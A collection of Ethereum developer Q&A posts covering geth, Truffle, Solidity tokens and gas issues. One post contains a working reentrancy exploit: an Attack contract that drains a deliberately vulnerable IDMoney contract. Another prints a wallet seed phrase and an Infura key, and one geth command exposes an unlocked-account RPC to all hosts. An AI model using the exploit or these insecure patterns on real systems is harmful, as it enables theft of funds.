texts: Can the Ethereum network work only with pruned nodes?

texts:
So if I got state trie pruning correctly, pruned nodes download all the block headers (so that they can check the PoW of the chain), the transactions of the last k (say 100) blocks (to resist against chain reorganisations/forks) and the state corresponding to the state Merkle root of the latest block.
With this technique, one can verify transactions just like full nodes, and without having to download the whole blockchain.
So my question is, would it be possible to have a network consisting only of pruned nodes, without jeopardizing security? In my intuition, even miners could correctly operate with a pruned blockchain.
Thank you for your help.


texts: JavascriptVM(remix) bug deploying multiple tokens

texts:
I'm currently coding a crowdsale for school in which the fictious participants can buy a token. During the first round the participants would also get a second token which would act as a governance token.

Inside my crowdsale constructor I'm deploying the two tokens as so:

function Crowdsale() public {
    price = 1 ether;
    wallet = msg.sender;
    dollar = new StandardToken("Dollar", "HWD", 2, 2000000);
    vote = new StandardToken("Vote", "HWV", 2, 500000);
    StandardToken(dollar).transfer(wallet, 500000);
}

When deploying the contract on Ropsten with injected Web3 through Remix everything works fine. I can easily test this by calling this function on the crowdsale contract, which should return 1 500 000 (since we sent 500kto sender at creation)

function tokensAvailable() public view returns (uint256) {
    return StandardToken(dollar).balanceOf(this);
}

call to Crowdsale.tokensAvailable
[call] from:0xba5116fea48692a505c5e2a898d4c803f0ca5d2a, to:Crowdsale.tokensAvailable(), data:60659...59a92, return:
    {
      "0": "uint256: 1500000"
    }

However when deploying through the JavascriptVM I can only call the functions for the second token created, never the first. The methods for the first token always return Undefined.

Is this because Remix can't handle multiple tokens in memory or what would be the case here? I worked on this project 2 weeks ago and I could swear everything worked properly. (My memory could be abandoning me here though).

Any ideas?

Thank you !


texts: Is there an easy, human centric way of viewing local Ethereum blockchain data?

texts:
Etherchain and Etherscan provide information about the Ethereum blockchain.

What tools exist that will allow me to extract similar data from my local Ethereum (.ldb) files?


texts:
I read the whitepaper of ethereum and I have a question:

APPLY(S,TX) -> S'

My question is since S is defined as a set of UTXO, but AFAIK the blockchain does not store each balance in a block, is this set of UTXO only preset in RAM and not on the blockchain? Is it calculated by the node by going through each block since the genesis block and only present in RAM?


texts: "web3.eth.accounts" doesn't output account address

texts:
I follow the instruction video "Code Your Own Cryptocurrency on Ethereum (Full)" from Dapp University on youtube. What is different when i use web3.eth.account.

Here is from tutorial

Here was i do it my self (it's doesn't give me some address):


texts: How to control which client mist is using as blockchain backend?

texts:
Whenever I run mist without any client, it launches a geth node in the background, connects to the network and syncs the blockchain.

If I have a geth node running and start mist, it detects the running node and directly connects to it.

But if I have both geth and eth --listen 30304 running at the same time, mist always tends to connect to the eth node. Why is it preferring eth?

How to tell mist to use geth rather than eth? Is it possible to control that behaviour?


texts: How to add my custom BNB Token on my shopify or woo-commerce store

texts: I have created my own custom BEP20 token on Binance smart chain and want to add it as a payment method on my Woo-commerce or shopify store. Actually my store is running on shopify and it would be good if there is a way to add my token as a payment method on it. However if it is not possible on shopify i can migrate to woo-commerce. But i still need to know how to add my token as a payment method on a woo-commerce store, So that my customer who have my token can use these tokens to buy stuff on my store. I can write code so if there is an easy way with coding it is perfect too.


texts: Crowdsale over, how to send back token not sold?

texts:
for my test project we just built up a crowdsale, everything was ok, we tried to send some eth, got some token for it, everything was ok, then we reached the goal, so contributors got paid. But after the crowdsale there was still like 80% of the token on the Crowdsale.

The Crowdsale contract sent back the ethereum to the beneficiary adress, but didnt sent back the tokens, so we just lost the tokens ? Like if it was burnt ?

Isn't  it supposed to send back also unsold tokens ?


texts: Truffle test stuck when testing with geth endpoint

texts:
I tried to test the truffle suite official metacoin example using truffle test. I opened a local private chain using geth with http rpc service open at localhost:8545. My truffle-config.js file is shown below:

const net = require("net");
const Web3 = require("web3");

const PrivateKeyProvider = require("truffle-privatekey-provider");

let keythereum = require("keythereum");
let datadir = "my/private/chain/datadir";
let address = "coinbaseAddress";
const password = "mypassword";

let keyObject = keythereum.importFromFile(address, datadir);
let privateKey = keythereum.recover(password, keyObject);
module.exports = {
  // Uncommenting the defaults below
  // provides for an easier quick-start with Ganache.
  // You can also follow this format for other networks;
  // see <http://truffleframework.com/docs/advanced/configuration>
  // for more details on how to specify configuration options!
  //

  networks: {
    development: {
      host: "127.0.0.1",     // Localhost (default: none)
      port: 8545,            // Standard Ethereum port (default: none)
      network_id: "*",       // Any network (default: none)
      from: address,
      provider: new PrivateKeyProvider(privateKey, "http://localhost:8545")
    }
  }

};

When I run truffle test --network development in the terminal. The output is as follows:
Compiling your contracts...
===========================
> Compiling ./contracts/ConvertLib.sol
> Compiling ./contracts/MetaCoin.sol
> Compiling ./contracts/Migrations.sol
> Compiling ./test/TestMetaCoin.sol
> Artifacts written to /var/folders/f_/m0s3_2zn1rs0xp7j21hpq80r0000gn/T/test-2020521-28540-1pve8ec.j0j
> Compiled successfully using:
   - solc: 0.5.16+commit.9c3226ce.Emscripten.clang

  TestMetaCoin
    1) "before all" hook: prepare suite

  Contract: MetaCoin
"before all" hook: prepare suite:
     Error: Timeout of 120000ms exceeded. For async tests and hooks, ensure "done()" is called; if returning a Promise, ensure it resolves.

  2) Contract: MetaCoin
       "before all" hook: prepare suite:
     Error: Timeout of 120000ms exceeded. For async tests and hooks, ensure "done()" is called; if returning a Promise, ensure it resolves. (/path/to/metacoin/test/metacoin.js)

And it gets stuck here until time out.
In the geth console, I can see several transactions have been submitted by truffle and mined but there is one warning:
> WARN [06-21|20:37:49.392] Served evm_snapshot                      conn=127.0.0.1:59199 reqid=1592743069390 t="12.037µs" err="the method evm_snapshot does not exist/is not available"

It seems truffle tries to call evm_snapshot RPC but as far as I know, geth doesn't have such JSON RPC API. This RPC is available in Ganache.
In the truffle documentation here, I noticed that truffle will perform differently when using Ganache and go-ethereum (geth). It seems to me the call to evm_snapshot RPC is the intended behaviour using Ganache as endpoint. But truffle should not do this because I am using geth as endpoint.
Where did I do wrong?
I'm using Truffle v5.1.30 and Geth v1.9.15-stable
Thanks in advance.


texts: Event listener doesn't trigger setState in web3js

texts:
I have the following function that does something with a smart contract, and then should manipulate the dapp state when the event has been received. However, it doesn't set the state of the dapp, and I'm not sure I'm listening to the event correctly.

try {
  await contract.methods
    .post(this.state.param1, `${this.state.content}`)
    .send({
      from: `${account}`,
      value: web3.utils.toWei(value.toString()),
      gas: 400000,
      gasPrice: web3.utils.toWei("3", "gwei")
    });
  await contract.events.Posted({ fromBlock: "latest" }, function(
    err,
    result
  ) {
    if (!err) {
      this.setState({
        loading: false,
        buttonText: "Post",
        content: ""
      }).bind(this);
    }
  });
} catch (error) {
  // Catch any errors for any of the above operations.
  alert(
    `Failed to load web3, accounts, or contract. Check console for details.`
  );
  console.error(error);
}

After the successful execution of the contract, nothing happens with the state of the dapp (the button text and the loading are not set to what is needed). What am I missing here?


texts: How can we fixed conversion rate of our own ethereum cryptocurrency?

texts: I have created  ERC20 based token.I fixed 1 token value equal to 0.01 eth. One question arise in my mind.Is it possible to fixed conversion rate of own Ethereum cryptocurrency ??


texts:
Suppose we have a Proxy contract that forwards to call to a Logic contract by using delegatecall.

If we pause the Proxy, users will still be able to directly interact with the Logic contract. While if we pause the Logic contract, it will not have any effect on calls made to Proxy as it will just load the code and use its own storage anyway.

Is there a common known pattern to pause a contract in this situation?


texts: estimateGas doesnt match with actual one

texts:
I have deployed erc20 contact in Robsten network :
https://ropsten.etherscan.io/token/0xa93d83709a1b35f67b30e7400b200690aa51859a?a=0x2c5253b9055cfd3ac7a2d352934fb5c45f667367

Code can be found here (from Mainnet):
https://etherscan.io/address/0x6c94f6a21ef54b99c5985642814877210531d99b#code

Then tried to estimate amount of gas for the transfer method on Geth console :

> tranferdata = fouracoin.transfer.getData("0x2c5253b9055cfd3ac7a2d352934fb5c45f667367",15)
 "0xa9059cbb0000000000000000000000002c5253b9055cfd3ac7a2d352934fb5c45f667367000000000000000000000000000000000000000000000000000000000000000f"

> web3.eth.estimateGas({from : "0x0ba72bae6f69c4d20b5e1eed5f930b3def1595ae" , to : "0x2c5253b9055cfd3ac7a2d352934fb5c45f667367", data : tranferdata})
22872

> fouracoin.transfer("0x2c5253b9055cfd3ac7a2d352934fb5c45f667367",15)
"0x69952895c550a12bfa4d0f874950b67d36952e6099ece2dbf3e09dabd84de401"

My estimated gas amount is 22872 while actual one 36325 :
https://ropsten.etherscan.io/tx/0x69952895c550a12bfa4d0f874950b67d36952e6099ece2dbf3e09dabd84de401


texts:
First question and, as such, I hope it is not too trivial.
I have set up an account (0xc5e71494fa80c9745a0d395285928a1c1ddbf9ff) and sent a tiny amount of ether from an exchange to this wallet. This worked fine.

Next, I have done 2 test transactions from this wallet with even smaller amounts (0.0001ETH? can't remember) and geth console.

Although the transactions look fine, the amount transferred is 0. Even the balance of the receiver wallet (I use getBalance[portfolio id]) is 0.

I though that was a roundoff+display effect so tried to convert the amount to wei, but even in wei, the amount is 0 wei. However, ETH in the original wallet (0xc5e7...) have gone missing...

Can someone help me out with this mistery?
>


texts: "invalid sender" error with web3 on a PoA private net


texts: how to get the payment with ethermine.org

texts: I am using ethermine to mine the ethereum for the experiment, now I setting the payment threshold to 0.08, now it comes to the threshold, and in the payout page, I got a payout which says the block_from, the block_to, amount and tx. I clicked the tx 's hyperlink, it is redirected to http://etherchain.org page with the transaction id, from the page I could see the eth address is my mining id, how could I transfer this eth to my personal wallet, because right now I don't know the private key for the mining address


texts: Invalid asm.js: Invalid member of stdlib when loading Remix IDE

texts:
When I try to load the remix ide on browser

I'm getting the following on the console of the browser

Loading https://solc-bin.ethereum.org/bin/soljson-v0.4.21+commit.dfe3193c.js without worker
soljson-v0.4.21+commit.dfe3193c.js:3 Invalid asm.js: Invalid member of stdlib

It is warning as indicated by the yellow

After loading the contract from private network, I am able to get a particular function however unable to set value using Metamask.io Chrome extension. It is giving me error - invalid sender.
Are these 2 errors related in any fashion?


texts: Is there any working zk-snark implementation (even if experimental) among the existing Ethereum clients?

texts:
I've asked that question on some places, got a few answers but I'm still missing the bigger piece. I'd like to experiment with zk-snarks. In particular, I'd like to be able to do something similar to this tutorial, i.e., write a program to prove some computation based on a pair of public and secret values, such as:

function senderFunction(x, w) {
  return (
    w.senderBalanceBefore > w.value &&
    sha256(w.value) == x.hashValue &&
    sha256(w.senderBalanceBefore) == x.hashSenderBalanceBefore &&
    sha256(w.senderBalanceBefore - w.value) == x.hashSenderBalanceAfter
  )
}
var proof = zksnarkprove(
    confTxSenderPk,
    senderFunction,
    [hashSenderBalanceBefore, hashSenderBalanceAfter, hashValue],
    [senderBalanceBefore, senderBalanceAfter, hashValue]);

And then be able to verify the correctness of this computation without knowing w from inside an Ethereum contract, for example:

zksnarkverify(
    confTxSenderVk,
    [hashSenderBalanceBefore, hashSenderBalanceAfter, hashValue],
    zkProofSender)

Is there anything already implemented that allows me to experiment with this usage?


texts: Way to fetch function name in fallback function with Solidity

texts:
I am writing a fallback function this way:
fallback() external {
     (param1, param2) = abi.decode(msg.data[4:], (uint256, uint256));
}

I know this is not a good practice but let's suppose i call an "azerty" function on my contract with 2 uint256. And of course, azerty function does not exists. So fallback function will be called.
I have 2 questions inside this fallback function:

How can i get the function name (azerty) ?
Is there a way to get the arguments types and count ? (in my case, i know i have 2 uint256 but what will happen if i call azerty with a single uint argument ?

Thanks


texts: OpenZeppelin MintableToken error only on private network

texts:
I started a new private network by geth command.

geth --networkid "198"  --nodiscover --datadir "~/test-geth" --rpc --rpcaddr "0.0.0.0" --rpcport "8545" --rpccorsdomain "*" --rpcvhosts "*" --rpcapi web3,eth,personal,miner,net,txpool,debug --unlock 0,1 --password /home/user/.gethpasswd --mine --minerthreads 1 --targetgaslimit 6721975 --gasprice "100000"

And deployed my token to this network. "truffle compile" & "truffle migrate" succeeded.
But sendTransaction fails everytime…

I debugged with truffle debugger. Here is the result of “sendTransaction”.

MintedCrowdsale.sol:

24:   {
25:     // Potentially dangerous assumption about the type of the token.
26:     require(MintableToken(address(token)).mint(_beneficiary, _tokenAmount));
                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

debug(development:0xb76ce508...)> i

Transaction halted with a RUNTIME ERROR.

This is likely due to an intentional halting expression, like assert(), require() or revert(). It can also be due to out-of-gas exceptions. Please inspect your transaction parameters and contract code to determine the meaning of this error.

I thought this error may be occurred by failure of "transferOwnership", but truffle debugger says "transferOwnership" succeeded.

And, strangely, no error occurs when using ganache-cli or Ropsten test net…

I get errors only on private network established by geth command.

Please tell me if anyone has advice on this issue.


texts: Costs of storing an empty dynamic array of length 2**256-1 vs length 4

texts: If the array is completely empty, is it more expensive to store uint[] of length 2**256-1 vs of length 4?


texts: How does miners vote to determine the block gas limit?

texts: In many posts people say "miners periodically vote to determine the block gas limit". But how actually do they vote and change the block limit? Do they vote for every block/or do it every day or for some other fixed period of time? Another related question: on September 2019 there was a jump of gas limit (8M to 10M). How did that happen?


texts: Why would a return of an array cause a transaction?

texts:
Code -

pragma solidity ^0.4.16;

library Set {
  // We define a new struct datatype that will be used to
  // hold its data in the calling contract.
  struct Data { mapping(uint => bool) flags; }

  // Note that the first parameter is of type "storage
  // reference" and thus only its storage address and not
  // its contents is passed as part of the call.  This is a
  // special feature of library functions.  It is idiomatic
  // to call the first parameter `self`, if the function can
  // be seen as a method of that object.
  function insert(Data storage self, uint value)
      public
      returns (bool)
  {
      if (self.flags[value])
          return false; // already there
      self.flags[value] = true;
      return true;
  }

  function remove(Data storage self, uint value)
      public
      returns (bool)
  {
      if (!self.flags[value])
          return false; // not there
      self.flags[value] = false;
      return true;
  }

  function contains(Data storage self, uint value)
      public
      view
      returns (bool)
  {
      return self.flags[value];
  }
}

I used that standard code, and then coded this -

pragma solidity ^0.4.16;

import "./Set.sol";

contract d3 {
    Set.Data knownValues;

    function register(uint value) public {
        // The library functions can be called without a
        // specific instance of the library, since the
        // "instance" will be the current contract.
        require(Set.insert(knownValues, value));
    }
    function contains(uint value) public returns (bool) {
        return Set.contains(knownValues, value);
    }
    // In this contract, we can also directly access knownValues.flags, if we want.
}

When I run contains, I get a txn, but I did not expect that, and the return seems to be only the hash of the txn -

> con.contains(1)
"0x9fe6c523431046eb803488441a49b3d9da5aa571c68bbe2cb6f6296a2b489a43"

> eth.getTransaction("0x9fe6c523431046eb803488441a49b3d9da5aa571c68bbe2cb6f6296a2b489a43")
{
  blockHash: "0xde9b338d4706c2d87f2da7ad220f256be6d4296587afe4525d236204bf7ce709",
  blockNumber: 147826,
  from: "0x46fb9a22689c4a4bfb494baeafbb8b2993725305",
  gas: 90000,
  gasPrice: 100000000000,
  hash: "0x9fe6c523431046eb803488441a49b3d9da5aa571c68bbe2cb6f6296a2b489a43",
  input: "0xc34052e00000000000000000000000000000000000000000000000000000000000000001",
  nonce: 364,
  r: "0x8377c621b21d9f272e47783f06e7bd206be3d3ee2b1996e48eebf93bc921ece5",
  s: "0x35a552969fc5dab8f8c245a503258fde5ef01076999003379fe28ceeb94430f6",
  to: "0xb7238164d1719ca660575af7aa3202aff820dfbc",
  transactionIndex: 0,
  v: "0x2b694",
  value: 0
}

Two observations:
1. No bool is returned.
2. A txn is created.

Does this make any sense to anyone?


texts: How to create a different contract for private and ICO?

texts:
Is it possible that the Total supply is created at the time of creation of token for Privete-sale and then create an ICO contract for the Unsold tokens to sell them on crowdsale?

(i.e. It is hard to predict that how many tokens will be sold during Private sale (manual transfers by owner))


texts: How does "swap" work between ERC20 tokens? And what is "swap"?

texts:
What is "swap" presicely between ERC20 tokens? Is it exchanging one ERC20 token for the other without fees, in the most possible native way?
How is it different from "convert"?
Let's say I want to "swap" my Ethereum for Dai or some other ERC20 token. Can I do it on my own? I'm a programmer, so writing a bit of code, if required, for it would be ok.


texts: Deploying contract to infura via @truffle/hdwallet-provider is hanging

texts:
I created a contract and deployed to Ganache test network successfully but it is not deploying to  infura.

//this section is clean. worked for Ganache
var output = JSON.parse(solc.compile(JSON.stringify(input)));
const interface = output.contracts["test.sol"]["Inbox"].abi;
const bytecode = output.contracts["test.sol"]["Inbox"].evm.bytecode.object

for infura,

const HDWalletProvider = require("@truffle/hdwallet-provider");

const Web3 = require("web3");
const compile = require("./compile");

const provider = new HDWalletProvider(
  "chef punch git then seek hobby abstract sad split fog quick able",
  "https://rinkeby.infura.io/v3/87773d0063ddee33821710c0e926c554"
);

const web3 = new Web3(provider);

const deploy = async () => {
  const accounts = await web3.eth.getAccounts();
  console.log("attemtign", accounts);// shows the array of accounts
  const myContract = await new web3.eth.Contract(interface)
    .deploy({ data: "0x" + bytecode, arguments: ["hi there"] })
    .send({
      gas: "1000000",
      from: accounts[0],
      gasPrice: "10000" // even i discarded here did not work
    });
  console.log(myContract.options.address);
  provider.engine.stop();
};

deploy();

I have 3 eth in my account and terminal is showing this console.log("attemtign", accounts) then hanging.


texts: Is overflow possible in this smart contract?

texts:
function mint(address beneficiary) public payable {
    uint256 MTCToken = (msg.value/10000) * (10 ** uint256(18));
    uint256 teamToken = (MTCToken/100) * (5);
    balances[owner] += teamToken;
    balances[beneficiary] = balances[beneficiary] + (MTCToken - teamToken);
    totalSupply_ = totalSupply_ + (MTCToken);
}

I'm bit confused with the exact length of overflow limit. It is possible to cross the limit in above function?


texts: (Ethereum Game) How can you prevent people from simply calling the contract function that adds xp to their character?

texts:
If you are creating a game where your character receives xp after every time they play, how can you prevent people from just calling the "addXP()" function from the contract and giving their player infinite xp?

Thank you for the help!


texts:
I want to distribute dividends to all token holders.

They would have to call claimDividend themselves, because of gas limitations.

How can you stop them from then transferring their tokens to another account and claiming more dividends?


texts: In Solidity, Is there any situation, when string is necessary? Please can u explain when I should use string instead of bytes or bytesN? Thanks!


texts: Enforcing a limit on ERC721 tokens held by an account

texts:
We are providing a Gnosis multisig wallets to our users and a market place where users can purchase/sell/transfer ERC721 tokens with other users. The ERC721 contract will also have a Blacklist registry in which all the addresses will be put, who were trying to be nostalgic.
New addresses can only be added/removed by an Admin multisig wallet.

We want to limit our users to possess, lets say only 10 tokens at a time. We have come up with two possible solutions but couldn't decide which is the best for this problem.

1 .We monitor every transfer/mint/burn event on our contract and maintain cumulative balances offchain. These cumulative balances will be updated with every transaction and the admin will put an address in the Blacklist if this address was trying to breach the imposed limit.

2 .Make use of balanceOf mapping in ERC721 standard. Every transfer will check this mapping and refuse to execute a new transaction if the token limit is breached. Will this change the ERC721 standard?. This will also not take account of cumulative ERC721 tokens, A user purchases and then transfers his/her token to some other dummy addresses repetitively to avoid the token limit.


texts: When extending a contract how to call the external constructor and pass parameters?

texts:
I have the following contract

import "zeppelin-solidity/contracts/token/ERC721/ERC721Token.sol";

contract Contract is ERC721Token {
    function Contract(string _name, string _symbol) public {
        name_ = _name; // This does not work because name_ is internal
        symbol_ = _symbol; // This does not work because symbol_ is internal
    }
}

The ERC721Token contract has a name_ variable that is set in the constructor, how do call this constructor or set the var from this contract?


texts: Is the ABI required to call a contract with ethers.js?

texts:
From the docs:

// The Contract interface
let abi = [ ... ];

// Connect to the network
let provider = ethers.getDefaultProvider();

// The address from the above deployment example
let contractAddress = "...";

// We connect to the Contract using a Provider, so we will only
// have read-only access to the Contract
let contract = new ethers.Contract(contractAddress, abi, provider);

I understand how this works, but I'm curious if you need the ABI at all? In web3.js, you don't, thanks to the ability to pass a contract method as a string:

// in web3.js
contract.methods["someMethod()"]()


texts: Acceptable response types with using Chainlink client contract

texts: I want to consume a Github API via the Chainlink Client Contract, the API returns an array of objects wanted to know can that be handled or I need to write a handler?


texts:
I want to know the address of an Uniswap pair contract with Solidity, even if the pair doesn't exist yet.
I can't use the function getPair of the factory contract because it return 0 when the pair doesn't exist
So I need to calculate it on my code, I checked this page : https://uniswap.org/docs/v2/smart-contract-integration/getting-pair-addresses/ and it seems to be this :
address pair = address(uint(keccak256(abi.encodePacked(
  hex'ff',
  factory,
  keccak256(abi.encodePacked(token0, token1)),
  hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));

However when I put this in solidity I have the error : Explicit type conversion not allowed from "uint256" to "address"
Any idea why ?


texts: Transaction ordering in proof of authority

texts:
In decentralized computation the order of transactions is a big deal.  For many smart contracts, the sooner a transaction is called, the bigger benefits for that transaction.

In proof of work, miners might only have time to execute a few transactions, so of course they'll go for the ones with the highest fees.

In proof of authority, it’s up to the node who’s turn it is to decide on transaction ordering. How can these nodes fairly decide on when to execute transactions?


texts: Web3.js or Web3.py ? What is the more mature API to interact with Ethereum?

texts:
I'm started a new Dapp project, and I trying to find the best way for a quick prototype (back and front end dev). I most familiar with Python, so I search every element than I can to build a Dapp in Python, and I'm asking me if the Python environnement is enough mature to be used with Ethereum ?

By maturity I'm asking what language is the most popular with the best community, with a good stability, and with the best integration in the framework Truffle/Ganache ?

Thanks !


texts: Other than Quorum, what are some other Enterprise Ethereum-based platform available?

texts: Other than Quorum, what are some other Enterprise Ethereum-based platform available out there?


texts: No signer to authorize the transaction with

texts:
When trying to make a transaction on a boundContract with geth-api through the library of @karalabe. I am missing a way to get the signer. I only see the interface for signer in the aar but no way to get a implementation of it.

java.lang.RuntimeException: java.lang.reflect.InvocationTargetException
        at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1120)
    Caused by: java.lang.reflect.InvocationTargetException
        at java.lang.reflect.Method.invoke(Native Method)
        at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:1230)
        at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1120)
    Caused by: java.lang.Exception: no signer to authorize the transaction with
        at go.Seq.throwException(Seq.java:52)
        at org.ethereum.geth.BoundContract.transfer(Native Method)
        at org.ligi.ewallet.MainActivity$onCreate$function$1.invoke(MainActivity.kt:68)
        at org.ligi.ewallet.MainActivity$onCreate$function$1.invoke(MainActivity.kt:27)
        at org.ligi.ewallet.MainActivityKt$sam$OnClickListener$af810d58.onClick(MainActivity.kt:0)
        at android.view.View.performClick(View.java:5697)
        at android.view.View$PerformClick.run(View.java:22526)
        at android.os.Handler.handleCallback(Handler.java:739)
        at android.os.Handler.dispatchMessage(Handler.java:95)
        at android.os.Looper.loop(Looper.java:158)
        at android.app.ActivityThread.main(ActivityThread.java:7225)
        at java.lang.reflect.Method.invoke(Native Method)
        at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:1230)
        at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1120)

It happens when trying to trying to invoke transfer on a boundContract


texts: How, the first (ever) transaction sender, earned his balance?

texts:
I've recentaly started learning about blockchain, dapps and Ethereum.

I've readed on the yellow paper (and some questions on Stack Exachange) that, differently from Bitcoin, in Ethereum the "genesis block" is hardcored and not mined: this involves that no one got the reward associtated with it. So, my question is: how, in the first ever transaction on the Ethereum network, does the sender earned his funds to sustain his transaction? Since no value wasn't currency circulated yet.

Thanks.


texts:
I am using geth 1.9.12. When I try to deploy any contract, using the console, I get the error: Error: exceeds block gas limit undefined What exactly is this error?

Thanks in advance.


texts: getting error while generating key after uploading file into IPFS infura

texts:
I'm getting an error while generating key after uploading file into IPFS infura.

Sample code given below

var ipfsAPI = require('ipfs-http-client');
const ipfs = ipfsAPI('ipfs.infura.io', '5001', { protocol: 'https' });
var oldpath = files[property].path;
var uploadedFile = fs.readFileSync(oldpath);
const filess = [{
                    path: files[property].name,
                    content: ipfs.types.Buffer.from(uploadedFile)
             }];
 ipfs.add(filess, function (err, files) {

                  if (err || !files) {
                        return reject('upload failed');
                    };
 var obj;
for (i = 0; i < data.length; i++) {
    obj = { "id": i, "hash": data[i], "EID": formFields.EID };
    tt.push(obj);
}
ipfs.dag.put(tt, {}, (err, cid) => {
    console.log(cid.toBaseEncodedString());
    const adr = cid.toBaseEncodedString();
    var dTimeStamp = new Date().getTime();
ipfs.key.gen(dTimeStamp, {
type: 'rsa',
size: 2048
}, (err, key) => {
    if (err != null) {
        console.log(err)
        }

    console.log("ipfs Key: ", key.id + " key name : " + key.name);

    var keyVall = key.id;

ipfs.name.publish(adr, { key: keyVall }, (err, pVal) => {

        console.log("published hash : " + pVal);

        var ipfsHash = pVal.name;

    return resp.json({ status: 'SUCCESS', message: 'user has been created successfully', digitalID: pVal });
});
});
});

});

i'm getting a following error while generating key

"SyntaxError: Unexpected token < in JSON at position 0
    at JSON.parse (<anonymous>)
    at streamToValue (C:\Service\node_modules\ipfs-http-client\src\utils\stream-to-json-value.js:25:18)
    at concat (C:Service\node_modules\ipfs-http-client\src\utils\stream-to-value.js:12:22)
    at ConcatStream.<anonymous> (C:Service\node_modules\concat-stream\index.js:37:43)
    at ConcatStream.emit (events.js:187:15)
    at finishMaybe (C:Service\node_modules\readable-stream\lib\_stream_writable.js:630:14)
    at afterWrite (C:Service\node_modules\readable-stream\lib\_stream_writable.js:492:3)
    at process._tickCallback (internal/process/next_tick.js:63:19)"

Any leads will be appreciated.


texts: Ropsten issues - two forks happening, transactions showing in both places

texts:
There seems to be a few issues going on with ropsten right now:

https://twitter.com/sbetamc/status/1092167042709573633
https://twitter.com/stevenleeg/status/1092546643604459521

At the same time, a node that I have running seems to be running on a different chain when compared to ropsten.etherscan.io.

I'm on block 4959146, while etherscan is on 4958946 (and some previous blocks also don't match

Additionally, it seems that transactions are somehow reaching both forks. The transaction 0xb7ac2d4109d1c69b8b874bc71e4c6b09c94240973548584dcee581ff57e07bed shows up on both etherscan and my own node, but in non-matching blocks.

So, two questions really:

what's up with ropsten right now?
will it be solved on its own (via a rollback, or something), or do I need to resync my node?


texts: getTransactionByHash function is not available in the go-ethereum package

texts:
In have downloaded go-ethereum package and made the private network. I am able to make changes in the code as per my requirement and it is also working fine. However, ethereum_js.go file has the following lines

    var getTransaction = new Method({
    name: 'getTransaction',
    call: 'eth_getTransactionByHash',
    params: 1,
    outputFormatter: formatters.outputTransactionFormatter
    });

Above says whenever we use getTransaction, it call eth_getTransactionByHash.

But there is no function avaialable with name getTransactionByHash.

Also the following line is not clear

         outputFormatter: formatters.outputTransactionFormatter


texts: How to use contracts deployed by embark on the server side of a meteor app?

texts:
I have created my example using embark meteor_demo and then changed my configuration on embark.yml to output the contract on the server folder instead of the client.

From that point i started getting some errors, which i described on github here.

Basically web3 wasn't defined on the server and after i add the web3 package from atmosphere it's still undefined.

Any recommendation on next steps? Should i use the web3 project from npm and include it manually on the server?


texts: Initialising Empty Arrays & Structs In Struct-based Storage Graph Structures?

texts:
How do I initialise empty arrays and structs in nested structs data structures?

contract NewBook {

        struct ReviewerData {
            string name,
            uint industryXP
            // foobar...
        }

        struct ChapterData {
            // string chapterID;
            string title;
            string color;
            uint pages;
            //How do I initialise the two elements below with empty values?
            ReviewerData[] reviewer;
            address[] reviewers;
        }

        struct BookData {
            // string bookID;
            ChapterData[] chapters;
        }

        mapping(bytes32 => BookData) books; // bookId => BookData

        function addChapter(bytes32 _bookID, string memory title, string color, uint pages) public {
            ChapterData memory c = ChapterData({
                title: title,
                color: color,
                pages: pages,
                //how to initialise empty reviewer struct?
                //how to initialise empty reviewers array?
            });
            books[_bookID].chapters.push(c);
        }


texts: Private Ethereum PoA error: "out of memory"

texts:
I'm working with multi node setup on Ethereum private chain PoA. We have all three validator nodes.
blockchain
├── genesis.json
├── node1
│   ├── geth
│   ├── keystore
│   ├── password.txt
│   └── static-nodes.json
├── node2
│   ├── geth
│   ├── keystore
│   ├── password.txt
│   └── static-nodes.json
└── node3
    ├── geth
    ├── keystore
    ├── password.txt
    └── static-nodes.json

Server Configuration:
CPU: 4 core
Storage: 100 GB SSD
RAM: 16 GB
SWP: 976 MB
Geth: 1.8.16
During testing I found that while making concurrent request on server, all the memory gets exhausted, and the first validator node goes down.
Geth logs shows error as

What I have tried?
I have tried to add cache parameter like --cache=10, however it doesn't make any difference.
Is there any way to handle it?


texts: How can I invest in ethereum from India?

texts:
Is there a easy way to invest?
Most online options don't seem to work

Please suggest any trusted working site


texts: Fail to Reproduce reentrancy in private chain but success in remix VM

texts:
I ran same victim and attack codes in remix VM, and private chain connected with metamask and remix. But, the attack successed in remix vm not in private. I inserted flag to mark which step is wrong, which shows, the fallback function in the attack contracts doesn't be executed. I cannot figure it out, please help me!. Codes are as following:
pragma solidity ^0.4.19;

contract IDMoney{
    address _owner;
    mapping (address => uint256) balances;
    function IDMoney() {
        _owner = msg.sender;
    }
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
    function withdraw(address to, uint256 amount) public payable {
        require(balances[msg.sender] >= amount);
        require(this.balance >= amount);

        to.call.value(amount)();
        balances[msg.sender] -= amount;
    }
    function balanceof(address to) constant returns(uint256){
        return balances[to];
    }
}

contract Attack {
    address owner;
    address victim;
    IDMoney idmoney;
    modifier ownerOnly { require(owner == msg.sender); _; }

    function Attack() payable { owner = msg.sender; }

    function setVictim(address target) ownerOnly { victim = target;  idmoney = IDMoney(target);}

    // deposit Ether to IDMoney deployed
    function step1(uint256 amount) ownerOnly payable {
        if (this.balance > amount) {
           victim.call.value(amount)(bytes4(keccak256("deposit()")));
        }
    }
    // withdraw Ether from IDMoney deployed
    function step2(uint256 amount) ownerOnly {
       idmoney.withdraw(address(this), amount);
    }
    // selfdestruct, send all balance to owner
    function stopAttack() ownerOnly {
        selfdestruct(owner);
    }

    function startAttack(uint256 amount) ownerOnly {
        step1(amount);
        step2(amount / 2);
    }

    function () public payable {
      idmoney.withdraw(address(this), msg.value);5;
    }
}

To sum up, the problem is how to reproduce reentrancy attack successfully in private chain?


texts: Do I need to have my account unlocked for a mining pool

texts: I have a mining pool and I'm using geth. Do i need to keep my pool wallet unlocked in geth in order for the pool to work? Includes unlocking blocks and sending payments to miners on the pool.


texts:
Does the EVM process transactions or is it used solely to execute contract code?

I wonder whether the EVM is used to process transactions? I know it is used to execute (or interpret) the bytecode of contracts, but is it also invoked on transactions for transfering funds between accounts or sending a message to a contract?


texts:
